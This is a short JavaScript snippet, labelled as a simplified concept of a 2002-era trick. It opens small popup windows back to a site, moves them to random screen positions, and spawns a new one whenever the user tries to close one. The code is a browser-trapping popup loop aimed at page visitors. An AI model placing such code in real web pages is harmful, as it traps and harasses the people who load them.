// A simplified concept of the logic used in 2002
function crashLoop() {
    // 1. Open a new small window pointing back to the site
    let newWindow = window.open("site_url", "_blank", "width=200,height=200");
    
    // 2. Force the window to move to random screen coordinates
    newWindow.moveTo(Math.random() * screen.width, Math.random() * screen.height);
    
    // 3. Trigger the function again if the user tries to close it
    newWindow.onbeforeunload = function() {
        crashLoop();
    };
}
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